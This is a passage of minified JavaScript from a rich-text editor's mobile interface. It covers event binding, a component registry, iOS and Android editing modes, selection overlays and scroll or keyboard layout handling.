'touchcancel', 'gesturestart', 'mousedown', 'mouseup', 'mouseover', 'mousemove', 'mouseout', 'click' ]; var tapEvent = monitor$1(settings); var simpleEvents = map$2(pointerEvents.concat([ 'selectstart', 'input', 'contextmenu', 'change', 'transitionend', 'transitioncancel', 'drag', 'dragstart', 'dragend', 'dragenter', 'dragleave', 'dragover', 'drop', 'keyup' ]), function (type) { return bind(container, type, function (event) { tapEvent.fireIfReady(event, type).each(function (tapStopped) { if (tapStopped) { event.kill(); } }); var stopped = settings.triggerEvent(type, event); if (stopped) { event.kill(); } }); }); var pasteTimeout = value(); var onPaste = bind(container, 'paste', function (event) { tapEvent.fireIfReady(event, 'paste').each(function (tapStopped) { if (tapStopped) { event.kill(); } }); var stopped = settings.triggerEvent('paste', event); if (stopped) { event.kill(); } pasteTimeout.set(setTimeout(function () { settings.triggerEvent(postPaste(), event); }, 0)); }); var onKeydown = bind(container, 'keydown', function (event) { var stopped = settings.triggerEvent('keydown', event); if (stopped) { event.kill(); } else if (settings.stopBackspace && isDangerous(event)) { event.prevent(); } }); var onFocusIn = bindFocus(container, function (event) { var stopped = settings.triggerEvent('focusin', event); if (stopped) { event.kill(); } }); var focusoutTimeout = value(); var onFocusOut = bindBlur(container, function (event) { var stopped = settings.triggerEvent('focusout', event); if (stopped) { event.kill(); } focusoutTimeout.set(setTimeout(function () { settings.triggerEvent(postBlur(), event); }, 0)); }); var unbind = function () { each$1(simpleEvents, function (e) { e.unbind(); }); onKeydown.unbind(); onFocusIn.unbind(); onFocusOut.unbind(); onPaste.unbind(); pasteTimeout.on(clearTimeout); focusoutTimeout.on(clearTimeout); }; return { unbind: unbind }; }; var derive$1 = function (rawEvent, rawTarget) { var source = get$c(rawEvent, 'target').getOr(rawTarget); return Cell(source); }; var fromSource = function (event, source) { var stopper = Cell(false); var cutter = Cell(false); var stop = function () { stopper.set(true); }; var cut = function () { cutter.set(true); }; return { stop: stop, cut: cut, isStopped: stopper.get, isCut: cutter.get, event: event, setSource: source.set, getSource: source.get }; }; var fromExternal = function (event) { var stopper = Cell(false); var stop = function () { stopper.set(true); }; return { stop: stop, cut: noop, isStopped: stopper.get, isCut: never, event: event, setSource: die('Cannot set source of a broadcasted event'), getSource: die('Cannot get source of a broadcasted event') }; }; var adt = Adt.generate([ { stopped: [] }, { resume: ['element'] }, { complete: [] } ]); var doTriggerHandler = function (lookup, eventType, rawEvent, target, source, logger) { var handler = lookup(eventType, target); var simulatedEvent = fromSource(rawEvent, source); return handler.fold(function () { logger.logEventNoHandlers(eventType, target); return adt.complete(); }, function (handlerInfo) { var descHandler = handlerInfo.descHandler; var eventHandler = getCurried(descHandler); eventHandler(simulatedEvent); if (simulatedEvent.isStopped()) { logger.logEventStopped(eventType, handlerInfo.element, descHandler.purpose); return adt.stopped(); } else if (simulatedEvent.isCut()) { logger.logEventCut(eventType, handlerInfo.element, descHandler.purpose); return adt.complete(); } else { return parent(handlerInfo.element).fold(function () { logger.logNoParent(eventType, handlerInfo.element, descHandler.purpose); return adt.complete(); }, function (parent) { logger.logEventResponse(eventType, handlerInfo.element, descHandler.purpose); return adt.resume(parent); }); } }); }; var doTriggerOnUntilStopped = function (lookup, eventType, rawEvent, rawTarget, source, logger) { return doTriggerHandler(lookup, eventType, rawEvent, rawTarget, source, logger).fold(always, function (parent) { return doTriggerOnUntilStopped(lookup, eventType, rawEvent, parent, source, logger); }, never); }; var triggerHandler = function (lookup, eventType, rawEvent, target, logger) { var source = derive$1(rawEvent, target); return doTriggerHandler(lookup, eventType, rawEvent, target, source, logger); }; var broadcast = function (listeners, rawEvent, _logger) { var simulatedEvent = fromExternal(rawEvent); each$1(listeners, function (listener) { var descHandler = listener.descHandler; var handler = getCurried(descHandler); handler(simulatedEvent); }); return simulatedEvent.isStopped(); }; var triggerUntilStopped = function (lookup, eventType, rawEvent, logger) { return triggerOnUntilStopped(lookup, eventType, rawEvent, rawEvent.target, logger); }; var triggerOnUntilStopped = function (lookup, eventType, rawEvent, rawTarget, logger) { var source = derive$1(rawEvent, rawTarget); return doTriggerOnUntilStopped(lookup, eventType, rawEvent, rawTarget, source, logger); }; var eventHandler = function (element, descHandler) { return { element: element, descHandler: descHandler }; }; var broadcastHandler = function (id, handler) { return { id: id, descHandler: handler }; }; var EventRegistry = function () { var registry = {}; var registerId = function (extraArgs, id, events) { each(events, function (v, k) { var handlers = registry[k] !== undefined ? registry[k] : {}; handlers[id] = curryArgs(v, extraArgs); registry[k] = handlers; }); }; var findHandler = function (handlers, elem) { return read(elem).bind(function (id) { return get$c(handlers, id); }).map(function (descHandler) { return eventHandler(elem, descHandler); }); }; var filterByType = function (type) { return get$c(registry, type).map(function (handlers) { return mapToArray(handlers, function (f, id) { return broadcastHandler(id, f); }); }).getOr([]); }; var find = function (isAboveRoot, type, target) { return get$c(registry, type).bind(function (handlers) { return closest$3(target, function (elem) { return findHandler(handlers, elem); }, isAboveRoot); }); }; var unregisterId = function (id) { each(registry, function (handlersById, _eventName) { if (has$2(handlersById, id)) { delete handlersById[id]; } }); }; return { registerId: registerId, unregisterId: unregisterId, filterByType: filterByType, find: find }; }; var Registry = function () { var events = EventRegistry(); var components = {}; var readOrTag = function (component) { var elem = component.element; return read(elem).getOrThunk(function () { return write('uid-', component.element); }); }; var failOnDuplicate = function (component, tagId) { var conflict = components[tagId]; if (conflict === component) { unregister(component); } else { throw new Error('The tagId "' + tagId + '" is already used by: ' + element(conflict.element) + '\nCannot use it for: ' + element(component.element) + '\n' + 'The conflicting element is' + (inBody(conflict.element) ? ' ' : ' not ') + 'already in the DOM'); } }; var register = function (component) { var tagId = readOrTag(component); if (hasNonNullableKey(components, tagId)) { failOnDuplicate(component, tagId); } var extraArgs = [component]; events.registerId(extraArgs, tagId, component.events); components[tagId] = component; }; var unregister = function (component) { read(component.element).each(function (tagId) { delete components[tagId]; events.unregisterId(tagId); }); }; var filter = function (type) { return events.filterByType(type); }; var find = function (isAboveRoot, type, target) { return events.find(isAboveRoot, type, target); }; var getById = function (id) { return get$c(components, id); }; return { find: find, filter: filter, register: register, unregister: unregister, getById: getById }; }; var takeover$1 = function (root) { var isAboveRoot = function (el) { return parent(root.element).fold(always, function (parent) { return eq(el, parent); }); }; var registry = Registry(); var lookup = function (eventName, target) { return registry.find(isAboveRoot, eventName, target); }; var domEvents = setup$1(root.element, { triggerEvent: function (eventName, event) { return monitorEvent(eventName, event.target, function (logger) { return triggerUntilStopped(lookup, eventName, event, logger); }); } }); var systemApi = { debugInfo: constant$1('real'), triggerEvent: function (eventName, target, data) { monitorEvent(eventName, target, function (logger) { return triggerOnUntilStopped(lookup, eventName, data, target, logger); }); }, triggerFocus: function (target, originator) { read(target).fold(function () { focus$3(target); }, function (_alloyId) { monitorEvent(focus$4(), target, function (logger) { triggerHandler(lookup, focus$4(), { originator: originator, kill: noop, prevent: noop, target: target }, target, logger); return false; }); }); }, triggerEscape: function (comp, simulatedEvent) { systemApi.triggerEvent('keydown', comp.element, simulatedEvent.event); }, getByUid: function (uid) { return getByUid(uid); }, getByDom: function (elem) { return getByDom(elem); }, build: build$1, addToGui: function (c) { add(c); }, removeFromGui: function (c) { remove(c); }, addToWorld: function (c) { addToWorld(c); }, removeFromWorld: function (c) { removeFromWorld(c); }, broadcast: function (message) { broadcast$1(message); }, broadcastOn: function (channels, message) { broadcastOn(channels, message); }, broadcastEvent: function (eventName, event) { broadcastEvent(eventName, event); }, isConnected: always }; var addToWorld = function (component) { component.connect(systemApi); if (!isText(component.element)) { registry.register(component); each$1(component.components(), addToWorld); systemApi.triggerEvent(systemInit(), component.element, { target: component.element }); } }; var removeFromWorld = function (component) { if (!isText(component.element)) { each$1(component.components(), removeFromWorld); registry.unregister(component); } component.disconnect(); }; var add = function (component) { attach(root, component); }; var remove = function (component) { detach(component); }; var destroy = function () { domEvents.unbind(); remove$7(root.element); }; var broadcastData = function (data) { var receivers = registry.filter(receive$1()); each$1(receivers, function (receiver) { var descHandler = receiver.descHandler; var handler = getCurried(descHandler); handler(data); }); }; var broadcast$1 = function (message) { broadcastData({ universal: true, data: message }); }; var broadcastOn = function (channels, message) { broadcastData({ universal: false, channels: channels, data: message }); }; var broadcastEvent = function (eventName, event) { var listeners = registry.filter(eventName); return broadcast(listeners, event); }; var getByUid = function (uid) { return registry.getById(uid).fold(function () { return Result.error(new Error('Could not find component with uid: "' + uid + '" in system.')); }, Result.value); }; var getByDom = function (elem) { var uid = read(elem).getOr('not found'); return getByUid(uid); }; addToWorld(root); return { root: root, element: root.element, destroy: destroy, add: add, remove: remove, getByUid: getByUid, getByDom: getByDom, addToWorld: addToWorld, removeFromWorld: removeFromWorld, broadcast: broadcast$1, broadcastOn: broadcastOn, broadcastEvent: broadcastEvent }; }; var READ_ONLY_MODE_CLASS = resolve('readonly-mode'); var EDIT_MODE_CLASS = resolve('edit-mode'); function OuterContainer (spec) { var root = build$1(Container.sketch({ dom: { classes: [resolve('outer-container')].concat(spec.classes) }, containerBehaviours: derive$2([Swapping.config({ alpha: READ_ONLY_MODE_CLASS, omega: EDIT_MODE_CLASS })]) })); return takeover$1(root); } function AndroidRealm (scrollIntoView) { var alloy = OuterContainer({ classes: [resolve('android-container')] }); var toolbar = ScrollingToolbar(); var webapp = api$2(); var switchToEdit = makeEditSwitch(webapp); var socket = makeSocket(); var dropup = build(noop, scrollIntoView); alloy.add(toolbar.wrapper); alloy.add(socket); alloy.add(dropup.component); var setToolbarGroups = function (rawGroups) { var groups = toolbar.createGroups(rawGroups); toolbar.setGroups(groups); }; var setContextToolbar = function (rawGroups) { var groups = toolbar.createGroups(rawGroups); toolbar.setContextToolbar(groups); }; var focusToolbar = function () { toolbar.focus(); }; var restoreToolbar = function () { toolbar.restoreToolbar(); }; var init = function (spec) { webapp.set(produce$1(spec)); }; var exit = function () { webapp.run(function (w) { w.exit(); Replacing.remove(socket, switchToEdit); }); }; var updateMode$1 = function (readOnly) { updateMode(socket, switchToEdit, readOnly, alloy.root); }; return { system: alloy, element: alloy.element, init: init, exit: exit, setToolbarGroups: setToolbarGroups, setContextToolbar: setContextToolbar, focusToolbar: focusToolbar, restoreToolbar: restoreToolbar, updateMode: updateMode$1, socket: socket, dropup: dropup }; } var input = function (parent, operation) { var input = SugarElement.fromTag('input'); setAll(input, { opacity: '0', position: 'absolute', top: '-1000px', left: '-1000px' }); append$2(parent, input); focus$3(input); operation(input); remove$7(input); }; var refresh = function (winScope) { var sel = winScope.getSelection(); if (sel.rangeCount > 0) { var br = sel.getRangeAt(0); var r = winScope.document.createRange(); r.setStart(br.startContainer, br.startOffset); r.setEnd(br.endContainer, br.endOffset); sel.removeAllRanges(); sel.addRange(r); } }; var resume = function (cWin, frame) { active().each(function (active) { if (!eq(active, frame)) { blur$1(active); } }); cWin.focus(); focus$3(SugarElement.fromDom(cWin.document.body)); refresh(cWin); }; var stubborn = function (outerBody, cWin, page, frame) { var toEditing = function () { resume(cWin, frame); }; var toReading = function () { input(outerBody, blur$1); }; var captureInput = bind(page, 'keydown', function (evt) { if (!contains$1([ 'input', 'textarea' ], name$1(evt.target))) { toEditing(); } }); var onToolbarTouch = noop; var destroy = function () { captureInput.unbind(); }; return { toReading: toReading, toEditing: toEditing, onToolbarTouch: onToolbarTouch, destroy: destroy }; }; var initEvents = function (editorApi, iosApi, toolstrip, socket, _dropup) { var saveSelectionFirst = function () { iosApi.run(function (api) { api.highlightSelection(); }); }; var refreshIosSelection = function () { iosApi.run(function (api) { api.refreshSelection(); }); }; var scrollToY = function (yTop, height) { var y = yTop - socket.dom.scrollTop; iosApi.run(function (api) { api.scrollIntoView(y, y + height); }); }; var scrollToElement = function (_target) { scrollToY(iosApi, socket); }; var scrollToCursor = function () { editorApi.getCursorBox().each(function (box) { scrollToY(box.top, box.height); }); }; var clearSelection = function () { iosApi.run(function (api) { api.clearSelection(); }); }; var clearAndRefresh = function () { clearSelection(); refreshThrottle.throttle(); }; var refreshView = function () { scrollToCursor(); iosApi.run(function (api) { api.syncHeight(); }); }; var reposition = function () { var toolbarHeight = get$7(toolstrip); iosApi.run(function (api) { api.setViewportOffset(toolbarHeight); }); refreshIosSelection(); refreshView(); }; var toEditing = function () { iosApi.run(function (api) { api.toEditing(); }); }; var toReading = function () { iosApi.run(function (api) { api.toReading(); }); }; var onToolbarTouch = function (event) { iosApi.run(function (api) { api.onToolbarTouch(event); }); }; var tapping = monitor(editorApi); var refreshThrottle = last(refreshView, 300); var listeners = [ editorApi.onKeyup(clearAndRefresh), editorApi.onNodeChanged(refreshIosSelection), editorApi.onDomChanged(refreshThrottle.throttle), editorApi.onDomChanged(refreshIosSelection), editorApi.onScrollToCursor(function (tinyEvent) { tinyEvent.preventDefault(); refreshThrottle.throttle(); }), editorApi.onScrollToElement(function (event) { scrollToElement(event.element); }), editorApi.onToEditing(toEditing), editorApi.onToReading(toReading), bind(editorApi.doc, 'touchend', function (touchEvent) { if (eq(editorApi.html, touchEvent.target) || eq(editorApi.body, touchEvent.target)) ; }), bind(toolstrip, 'transitionend', function (transitionEvent) { if (transitionEvent.raw.propertyName === 'height') { reposition(); } }), capture(toolstrip, 'touchstart', function (touchEvent) { saveSelectionFirst(); onToolbarTouch(touchEvent); editorApi.onTouchToolstrip(); }), bind(editorApi.body, 'touchstart', function (evt) { clearSelection(); editorApi.onTouchContent(); tapping.fireTouchstart(evt); }), tapping.onTouchmove(), tapping.onTouchend(), bind(editorApi.body, 'click', function (event) { event.kill(); }), bind(toolstrip, 'touchmove', function () { editorApi.onToolbarScrollStart(); }) ]; var destroy = function () { each$1(listeners, function (l) { l.unbind(); }); }; return { destroy: destroy }; }; function FakeSelection (win, frame) { var doc = win.document; var container = SugarElement.fromTag('div'); add$1(container, resolve('unfocused-selections')); append$2(SugarElement.fromDom(doc.documentElement), container); var onTouch = bind(container, 'touchstart', function (event) { event.prevent(); resume(win, frame); clear(); }); var make = function (rectangle) { var span = SugarElement.fromTag('span'); add(span, [ resolve('layer-editor'), resolve('unfocused-selection') ]); setAll(span, { left: rectangle.left + 'px', top: rectangle.top + 'px', width: rectangle.width + 'px', height: rectangle.height + 'px' }); return span; }; var update = function () { clear(); var rectangles = getRectangles(win); var spans = map$2(rectangles, make); append$1(container, spans); }; var clear = function () { empty(container); }; var destroy = function () { onTouch.unbind(); remove$7(container); }; var isActive = function () { return children(container).length > 0; }; return { update: update, isActive: isActive, destroy: destroy, clear: clear }; } var nu$1 = function (baseFn) { var data = Optional.none(); var callbacks = []; var map = function (f) { return nu$1(function (nCallback) { get(function (data) { nCallback(f(data)); }); }); }; var get = function (nCallback) { if (isReady()) { call(nCallback); } else { callbacks.push(nCallback); } }; var set = function (x) { if (!isReady()) { data = Optional.some(x); run(callbacks); callbacks = []; } }; var isReady = function () { return data.isSome(); }; var run = function (cbs) { each$1(cbs, call); }; var call = function (cb) { data.each(function (x) { setTimeout(function () { cb(x); }, 0); }); }; baseFn(set); return { get: get, map: map, isReady: isReady }; }; var pure$1 = function (a) { return nu$1(function (callback) { callback(a); }); }; var LazyValue = { nu: nu$1, pure: pure$1 }; var errorReporter = function (err) { setTimeout(function () { throw err; }, 0); }; var make = function (run) { var get = function (callback) { run().then(callback, errorReporter); }; var map = function (fab) { return make(function () { return run().then(fab); }); }; var bind = function (aFutureB) { return make(function () { return run().then(function (v) { return aFutureB(v).toPromise(); }); }); }; var anonBind = function (futureB) { return make(function () { return run().then(function () { return futureB.toPromise(); }); }); }; var toLazy = function () { return LazyValue.nu(get); }; var toCached = function () { var cache = null; return make(function () { if (cache === null) { cache = run(); } return cache; }); }; var toPromise = run; return { map: map, bind: bind, anonBind: anonBind, toLazy: toLazy, toCached: toCached, toPromise: toPromise, get: get }; }; var nu = function (baseFn) { return make(function () { return new Promise$1(baseFn); }); }; var pure = function (a) { return make(function () { return Promise$1.resolve(a); }); }; var Future = { nu: nu, pure: pure }; var adjust = function (value, destination, amount) { if (Math.abs(value - destination) <= amount) { return Optional.none(); } else if (value < destination) { return Optional.some(value + amount); } else { return Optional.some(value - amount); } }; var create$1 = function () { var interval = null; var animate = function (getCurrent, destination, amount, increment, doFinish, rate) { var finished = false; var finish = function (v) { finished = true; doFinish(v); }; global$2.clearInterval(interval); var abort = function (v) { global$2.clearInterval(interval); finish(v); }; interval = global$2.setInterval(function () { var value = getCurrent(); adjust(value, destination, amount).fold(function () { global$2.clearInterval(interval); finish(destination); }, function (s) { increment(s, abort); if (!finished) { var newValue = getCurrent(); if (newValue !== s || Math.abs(newValue - destination) > Math.abs(value - destination)) { global$2.clearInterval(interval); finish(destination); } } }); }, rate); }; return { animate: animate }; }; var findDevice = function (deviceWidth, deviceHeight) { var devices = [ { width: 320, height: 480, keyboard: { portrait: 300, landscape: 240 } }, { width: 320, height: 568, keyboard: { portrait: 300, landscape: 240 } }, { width: 375, height: 667, keyboard: { portrait: 305, landscape: 240 } }, { width: 414, height: 736, keyboard: { portrait: 320, landscape: 240 } }, { width: 768, height: 1024, keyboard: { portrait: 320, landscape: 400 } }, { width: 1024, height: 1366, keyboard: { portrait: 380, landscape: 460 } } ]; return findMap(devices, function (device) { return someIf(deviceWidth <= device.width && deviceHeight <= device.height, device.keyboard); }).getOr({ portrait: deviceHeight / 5, landscape: deviceWidth / 4 }); }; var softKeyboardLimits = function (outerWindow) { return findDevice(outerWindow.screen.width, outerWindow.screen.height); }; var accountableKeyboardHeight = function (outerWindow) { var portrait = get$1(outerWindow).isPortrait(); var limits = softKeyboardLimits(outerWindow); var keyboard = portrait ? limits.portrait : limits.landscape; var visualScreenHeight = portrait ? outerWindow.screen.height : outerWindow.screen.width; return visualScreenHeight - outerWindow.innerHeight > keyboard ? 0 : keyboard; }; var getGreenzone = function (socket, dropup) { var outerWindow = owner$2(socket).dom.defaultView; var viewportHeight = get$7(socket) + get$7(dropup); var acc = accountableKeyboardHeight(outerWindow); return viewportHeight - acc; }; var updatePadding = function (contentBody, socket, dropup) { var greenzoneHeight = getGreenzone(socket, dropup); var deltaHeight = get$7(socket) + get$7(dropup) - greenzoneHeight; set$5(contentBody, 'padding-bottom', deltaHeight + 'px'); }; var fixture = Adt.generate([ { fixed: [ 'element', 'property', 'offsetY' ] }, { scroller: [ 'element', 'offsetY' ] } ]); var yFixedData = 'data-' + resolve('position-y-fixed'); var yFixedProperty = 'data-' + resolve('y-property'); var yScrollingData = 'data-' + resolve('scrolling'); var windowSizeData = 'data-' + resolve('last-window-height'); var getYFixedData = function (element) { return safeParse(element, yFixedData); }; var getYFixedProperty = function (element) { return get$b(element, yFixedProperty); }; var getLastWindowSize = function (element) { return safeParse(element, windowSizeData); }; var classifyFixed = function (element, offsetY) { var prop = getYFixedProperty(element); return fixture.fixed(element, prop, offsetY); }; var classifyScrolling = function (element, offsetY) { return fixture.scroller(element, offsetY); }; var classify = function (element) { var offsetY = getYFixedData(element); var classifier = get$b(element, yScrollingData) === 'true' ? classifyScrolling : classifyFixed; return classifier(element, offsetY); }; var findFixtures = function (container) { var candidates = descendants(container, '[' + yFixedData + ']'); return map$2(candidates, classify); }; var takeoverToolbar = function (toolbar) { var oldToolbarStyle = get$b(toolbar, 'style'); setAll(toolbar, { position: 'absolute', top: '0px' }); set$8(toolbar, yFixedData, '0px'); set$8(toolbar, yFixedProperty, 'top'); var restore = function () { set$8(toolbar, 'style', oldToolbarStyle || ''); remove$6(toolbar, yFixedData); remove$6(toolbar, yFixedProperty); }; return { restore: restore }; }; var takeoverViewport = function (toolbarHeight, height, viewport) { var oldViewportStyle = get$b(viewport, 'style'); register$2(viewport); setAll(viewport, { position: 'absolute', height: height + 'px', width: '100%', top: toolbarHeight + 'px' }); set$8(viewport, yFixedData, toolbarHeight + 'px'); set$8(viewport, yScrollingData, 'true'); set$8(viewport, yFixedProperty, 'top'); var restore = function () { deregister(viewport); set$8(viewport, 'style', oldViewportStyle || ''); remove$6(viewport, yFixedData); remove$6(viewport, yScrollingData); remove$6(viewport, yFixedProperty); }; return { restore: restore }; }; var takeoverDropup = function (dropup) { var oldDropupStyle = get$b(dropup, 'style'); setAll(dropup, { position: 'absolute', bottom: '0px' }); set$8(dropup, yFixedData, '0px'); set$8(dropup, yFixedProperty, 'bottom'); var restore = function () { set$8(dropup, 'style', oldDropupStyle || ''); remove$6(dropup, yFixedData); remove$6(dropup, yFixedProperty); }; return { restore: restore }; }; var deriveViewportHeight = function (viewport, toolbarHeight, dropupHeight) { var outerWindow = owner$2(viewport).dom.defaultView; var winH = outerWindow.innerHeight; set$8(viewport, windowSizeData, winH + 'px'); return winH - toolbarHeight - dropupHeight; }; var takeover = function (viewport, contentBody, toolbar, dropup) { var outerWindow = owner$2(viewport).dom.defaultView; var toolbarSetup = takeoverToolbar(toolbar); var toolbarHeight = get$7(toolbar); var dropupHeight = get$7(dropup); var viewportHeight = deriveViewportHeight(viewport, toolbarHeight, dropupHeight); var viewportSetup = takeoverViewport(toolbarHeight, viewportHeight, viewport); var dropupSetup = takeoverDropup(dropup); var isActive = true; var restore = function () { isActive = false; toolbarSetup.restore(); viewportSetup.restore(); dropupSetup.restore(); }; var isExpanding = function () { var currentWinHeight = outerWindow.innerHeight; var lastWinHeight = getLastWindowSize(viewport); return currentWinHeight > lastWinHeight; }; var refresh = function () { if (isActive) { var newToolbarHeight = get$7(toolbar); var dropupHeight_1 = get$7(dropup); var newHeight = deriveViewportHeight(viewport, newToolbarHeight, dropupHeight_1); set$8(viewport, yFixedData, newToolbarHeight + 'px'); set$5(viewport, 'height', newHeight + 'px'); updatePadding(contentBody, viewport, dropup); } }; var setViewportOffset = function (newYOffset) { var offsetPx = newYOffset + 'px'; set$8(viewport, yFixedData, offsetPx); refresh(); }; updatePadding(contentBody, viewport, dropup); return { setViewportOffset: setViewportOffset, isExpanding: isExpanding, isShrinking: not(isExpanding), refresh: refresh, restore: restore }; }; var animator = create$1(); var ANIMATION_STEP = 15; var NUM_TOP_ANIMATION_FRAMES = 10; var ANIMATION_RATE = 10; var lastScroll = 'data-' + resolve('last-scroll-top'); var getTop = function (element) { var raw = getRaw(element, 'top').getOr('0'); return parseInt(raw, 10); }; var getScrollTop = function (element) { return parseInt(element.dom.scrollTop, 10); }; var moveScrollAndTop = function (element, destination, finalTop) { return Future.nu(function (callback) { var getCurrent = curry(getScrollTop, element); var update = function (newScroll) { element.dom.scrollTop = newScroll; set$5(element, 'top', getTop(element) + ANIMATION_STEP + 'px'); }; var finish = function () { element.dom.scrollTop = destination; set$5(element, 'top', finalTop + 'px'); callback(destination); }; animator.animate(getCurrent, destination, ANIMATION_STEP, update, finish, ANIMATION_RATE); }); }; var moveOnlyScroll = function (element, destination) { return Future.nu(function (callback) { var getCurrent = curry(getScrollTop, element); set$8(element, lastScroll, getCurrent()); var update = function (newScroll, abort) { var previous = safeParse(element, lastScroll); if (previous !== element.dom.scrollTop) { abort(element.dom.scrollTop); } else { element.dom.scrollTop = newScroll; set$8(element, lastScroll, newScroll); } }; var finish = function () { element.dom.scrollTop = destination; set$8(element, lastScroll, destination); callback(destination); }; var distance = Math.abs(destination - getCurrent()); var step = Math.ceil(distance / NUM_TOP_ANIMATION_FRAMES); animator.animate(getCurrent, destination, step, update, finish, ANIMATION_RATE); }); }; var moveOnlyTop = function (element, destination) { return Future.nu(function (callback) { var getCurrent = curry(getTop, element); var update = function (newTop) { set$5(element, 'top', newTop + 'px'); }; var finish = function () { update(destination); callback(destination); }; var distance = Math.abs(destination - getCurrent()); var step = Math.ceil(distance / NUM_TOP_ANIMATION_FRAMES); animator.animate(getCurrent, destination, step, update, finish, ANIMATION_RATE); }); }; var updateTop = function (element, amount) { var newTop = amount + getYFixedData(element) + 'px'; set$5(element, 'top', newTop); }; var moveWindowScroll = function (toolbar, viewport, destY) { var outerWindow = owner$2(toolbar).dom.defaultView; return Future.nu(function (callback) { updateTop(toolbar, destY); updateTop(viewport, destY); outerWindow.scrollTo(0, destY); callback(destY); }); }; function BackgroundActivity (doAction) { var action = Cell(LazyValue.pure({})); var start = function (value) { var future = LazyValue.nu(function (callback) { return doAction(value).get(callback); }); action.set(future); }; var idle = function (g) { action.get().get(function () { g(); }); }; return { start: start, idle: idle }; } var scrollIntoView = function (cWin, socket, dropup, top, bottom) { var greenzone = getGreenzone(socket, dropup); var refreshCursor = curry(refresh, cWin); if (top > greenzone || bottom > greenzone) { moveOnlyScroll(socket, socket.dom.scrollTop - greenzone + bottom).get(refreshCursor); } else if (top < 0) { moveOnlyScroll(socket, socket.dom.scrollTop + top).get(refreshCursor); } else ; }; var par$1 = function (asyncValues, nu) { return nu(function (callback) { var r = []; var count = 0; var cb = function (i) { return function (value) { r[i] = value; count++; if (count >= asyncValues.length) { callback(r); } }; }; if (asyncValues.length === 0) { callback([]); } else { each$1(asyncValues, function (asyncValue, i) { asyncValue.get(cb(i)); }); } }); }; var par = function (futures) { return par$1(futures, Future.nu); }; var updateFixed = function (element, property, winY, offsetY) { var destination = winY + offsetY; set$5(element, property, destination + 'px'); return Future.pure(offsetY); }; var updateScrollingFixed = function (element, winY, offsetY) { var destTop = winY + offsetY; var oldProp = getRaw(element, 'top').getOr(offsetY); var delta = destTop - parseInt(oldProp, 10); var destScroll = element.dom.scrollTop + delta; return moveScrollAndTop(element, destScroll, destTop); }; var updateFixture = function (fixture, winY) { return fixture.fold(function (element, property, offsetY) { return updateFixed(element, property, winY, offsetY); }, function (element, offsetY) { return updateScrollingFixed(element, winY, offsetY); }); }; var updatePositions = function (container, winY) { var fixtures = findFixtures(container); var updates = map$2(fixtures, function (fixture) { return updateFixture(fixture, winY); }); return par(updates); }; var VIEW_MARGIN = 5; var register = function (toolstrip, socket, container, outerWindow, structure, cWin) { var scroller = BackgroundActivity(function (y) { return moveWindowScroll(toolstrip, socket, y); }); var scrollBounds = function () { var rects = getRectangles(cWin); return Optional.from(rects[0]).bind(function (rect) { var viewTop = rect.top - socket.dom.scrollTop; var outside = viewTop > outerWindow.innerHeight + VIEW_MARGIN || viewTop < -VIEW_MARGIN; return outside ? Optional.some({ top: viewTop, bottom: viewTop + rect.height }) : Optional.none(); }); }; var scrollThrottle = last(function () { scroller.idle(function () { updatePositions(container, outerWindow.pageYOffset).get(function () { var extraScroll = scrollBounds(); extraScroll.each(function (extra) { socket.dom.scrollTop = socket.dom.scrollTop + extra.top; }); scroller.start(0); structure.refresh(); }); }); }, 1000); var onScroll = bind(SugarElement.fromDom(outerWindow), 'scroll', function () { if (outerWindow.pageYOffset < 0) { return; } scrollThrottle.throttle(); }); updatePositions(container, outerWindow.pageYOffset).get(identity); return { unbind: onScroll.unbind }; }; var setup = function (bag) { var cWin = bag.cWin; var ceBody = bag.ceBody; var socket = bag.socket; var toolstrip = bag.toolstrip; var contentElement = bag.contentElement; var keyboardType = bag.keyboardType; var outerWindow = bag.outerWindow; var dropup = bag.dropup; var outerBody = bag.outerBody; var structure = takeover(socket, ceBody, toolstrip, dropup); var keyboardModel = keyboardType(outerBody, cWin, body(), contentElement); var toEditing = function () { keyboardModel.toEditing(); clearSelection(); }; var toReading = function () { keyboardModel.toReading(); }; var onToolbarTouch = function (_event) { keyboardModel.onToolbarTouch(); }; var onOrientation = onChange(outerWindow, { onChange: noop, onReady: structure.refresh }); onOrientation.onAdjustment(function () { structure.refresh(); }); var onResize = bind(SugarElement.fromDom(outerWindow), 'resize', function () { if (structure.isExpanding()) { structure.refresh(); } }); var onScroll = register(toolstrip, socket, outerBody, outerWindow, structure, cWin); var unfocusedSelection = FakeSelection(cWin, contentElement); var refreshSelection = function () { if (unfocusedSelection.isActive()) { unfocusedSelection.update(); } }; var highlightSelection = function () { unfocusedSelection.update(); }; var clearSelection = function () { unfocusedSelection.clear(); }; var scrollIntoView$1 = function (top, bottom) { scrollIntoView(cWin, socket, dropup, top, bottom); }; var syncHeight = function () { set$5(contentElement, 'height', contentElement.dom.contentWindow.document.body.scrollHeight + 'px'); }; var setViewportOffset = function (newYOffset) { structure.setViewportOffset(newYOffset); moveOnlyTop(socket, newYOffset).get(identity); }; var destroy = function () { structure.restore(); onOrientation.destroy(); onScroll.unbind(); onResize.unbind(); keyboardModel.destroy(); unfocusedSelection.destroy(); input(body(), blur$1); }; return { toEditing: toEditing, toReading: toReading, onToolbarTouch: onToolbarTouch, refreshSelection: refreshSelection, clearSelection: clearSelection, highlightSelection: highlightSelection, scrollIntoView: scrollIntoView$1, updateToolbarPadding: noop, setViewportOffset: setViewportOffset, syncHeight: syncHeight, refreshStructure: structure.refresh, destroy: destroy }; }; var create = function (platform, mask) { var meta = tag(); var priorState = value(); var scrollEvents = value(); var iosApi = api$2(); var iosEvents = api$2(); var enter = function () { mask.hide(); var doc = SugarElement.fromDom(document); getActiveApi(platform.editor).each(function (editorApi) { priorState.set({ socketHeight: getRaw(platform.socket, 'height'), iframeHeight: getRaw(editorApi.frame, 'height'), outerScroll: document.body.scrollTop }); scrollEvents.set({ exclusives: exclusive(doc, '.' + scrollable) }); add$1(platform.container, resolve('fullscreen-maximized')); clobberStyles(platform.container, editorApi.body); meta.maximize(); set$5(platform.socket, 'overflow', 'scroll'); set$5(platform.socket, '-webkit-overflow-scrolling', 'touch'); focus$3(editorApi.body); iosApi.set(setup({ cWin: editorApi.win, ceBody: editorApi.body, socket: platform.socket, toolstrip: platform.toolstrip, dropup: platform.dropup.element, contentElement: editorApi.frame, outerBody: platform.body, outerWindow: platform.win, keyboardType: stubborn })); iosApi.run(function (api) { api.syncHeight(); }); iosEvents.set(initEvents(editorApi, iosApi, platform.toolstrip, platform.socket, platform.dropup)); }); }; var exit = function () { meta.restore(); iosEvents.clear(); iosApi.clear(); mask.show(); priorState.on(function (s) { s.socketHeight.each(function (h) { set$5(platform.socket, 'height', h); }); s.iframeHeight.each(function (h) { set$5(platform.editor.getFrame(), 